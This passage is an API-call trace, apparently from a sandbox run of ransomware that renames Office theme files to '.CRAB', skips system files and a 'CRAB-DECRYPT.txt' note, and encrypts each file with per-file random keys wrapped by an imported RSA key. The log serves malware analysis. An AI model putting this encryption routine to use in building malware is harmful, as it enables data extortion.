	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0117.182] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.183] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB") returned 133
	[0117.183] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001105[[fn=crop]].thmx")) returned 0x20
	[0117.184] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx", dwFileAttributes=0x20) returned 1
	[0117.184] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001105[[fn=crop]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001105[[fn=crop]].thmx.crab")) returned 1
	[0117.185] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0117.186] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB"
	[0117.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB.CRAB"
	[0117.186] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.186] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.187] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.187] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0117.187] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.187] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.187] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0117.188] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.188] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.188] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0117.188] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0117.188] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.189] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0117.189] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0117.189] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0117.190] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4b60) returned 1
	[0117.190] CryptGetKeyParam (in: hKey=0xda4b60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.190] CryptEncrypt (in: hKey=0xda4b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0117.191] GetLastError () returned 0x0
	[0117.191] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.191] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0117.191] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda47a0) returned 1
	[0117.191] CryptGetKeyParam (in: hKey=0xda47a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.191] CryptEncrypt (in: hKey=0xda47a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0117.192] GetLastError () returned 0x0
	[0117.192] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0117.192] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001105[[fn=crop]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0117.192] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0117.193] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0117.193] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x8301c, lpOverlapped=0x0) returned 1
	[0117.236] VirtualAlloc (lpAddress=0x0, dwSize=0x83020, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.244] VirtualAlloc (lpAddress=0x0, dwSize=0x83020, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0117.257] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.259] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff7cfe4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.259] WriteFile (in: hFile=0x3fc, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x83020, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3147f1c*=0x83020, lpOverlapped=0x0) returned 1
	[0117.260] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.262] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.267] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0117.267] CloseHandle (hObject=0x3fc) returned 1
	[0117.278] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.279] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.279] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.280] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.280] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.280] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.280] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2=".") returned 1
	[0117.280] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="..") returned 1
	[0117.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx"
	[0117.280] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.280] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129
	[0117.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129
	[0117.281] lstrlenW (lpString=".thmx") returned 5
	[0117.281] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.281] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0117.281] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129
	[0117.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129
	[0117.281] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="desktop.ini") returned 1
	[0117.281] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="autorun.inf") returned 1
	[0117.281] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="ntuser.dat") returned 1
	[0117.281] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="iconcache.db") returned 1
	[0117.281] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="bootsect.bak") returned 1
	[0117.282] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="boot.ini") returned 1
	[0117.282] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="ntuser.dat.log") returned 1
	[0117.282] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="thumbs.db") returned 1
	[0117.282] lstrcmpiW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0117.282] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.282] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB") returned 134
	[0117.282] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001106[[fn=badge]].thmx")) returned 0x20
	[0117.282] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx", dwFileAttributes=0x20) returned 1
	[0117.283] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001106[[fn=badge]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001106[[fn=badge]].thmx.crab")) returned 1
	[0117.284] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0117.284] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB"
	[0117.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB.CRAB"
	[0117.285] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.285] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.286] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.286] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0117.286] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.286] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.286] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0117.287] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.288] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.288] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0117.288] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0117.288] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.288] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0117.288] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0117.289] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0117.289] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda44e0) returned 1
	[0117.289] CryptGetKeyParam (in: hKey=0xda44e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.289] CryptEncrypt (in: hKey=0xda44e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0117.290] GetLastError () returned 0x0
	[0117.290] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0117.290] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0117.290] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4920) returned 1
	[0117.290] CryptGetKeyParam (in: hKey=0xda4920, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.290] CryptEncrypt (in: hKey=0xda4920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0117.291] GetLastError () returned 0x0
	[0117.291] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0117.291] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001106[[fn=badge]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0117.291] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0117.292] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0117.292] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xa2181, lpOverlapped=0x0) returned 1
	[0117.333] VirtualAlloc (lpAddress=0x0, dwSize=0xa2190, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.343] VirtualAlloc (lpAddress=0x0, dwSize=0xa2190, flAllocationType=0x3000, flProtect=0x4) returned 0x3410000
	[0117.358] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.360] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff5de7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.361] WriteFile (in: hFile=0x3fc, lpBuffer=0x3410000*, nNumberOfBytesToWrite=0xa2190, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3410000*, lpNumberOfBytesWritten=0x3147f1c*=0xa2190, lpOverlapped=0x0) returned 1
	[0117.362] VirtualFree (lpAddress=0x3410000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.365] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.368] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.369] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.369] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0117.369] CloseHandle (hObject=0x3fc) returned 1
	[0117.383] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.384] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.384] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.384] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.385] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.385] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.385] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2=".") returned 1
	[0117.385] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="..") returned 1
	[0117.385] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx"
	[0117.385] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.385] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131
	[0117.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131
	[0117.385] lstrlenW (lpString=".thmx") returned 5
	[0117.385] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.386] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0117.386] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131
	[0117.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="desktop.ini") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="autorun.inf") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="ntuser.dat") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="iconcache.db") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="bootsect.bak") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="boot.ini") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="ntuser.dat.log") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="thumbs.db") returned 1
	[0117.386] lstrcmpiW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
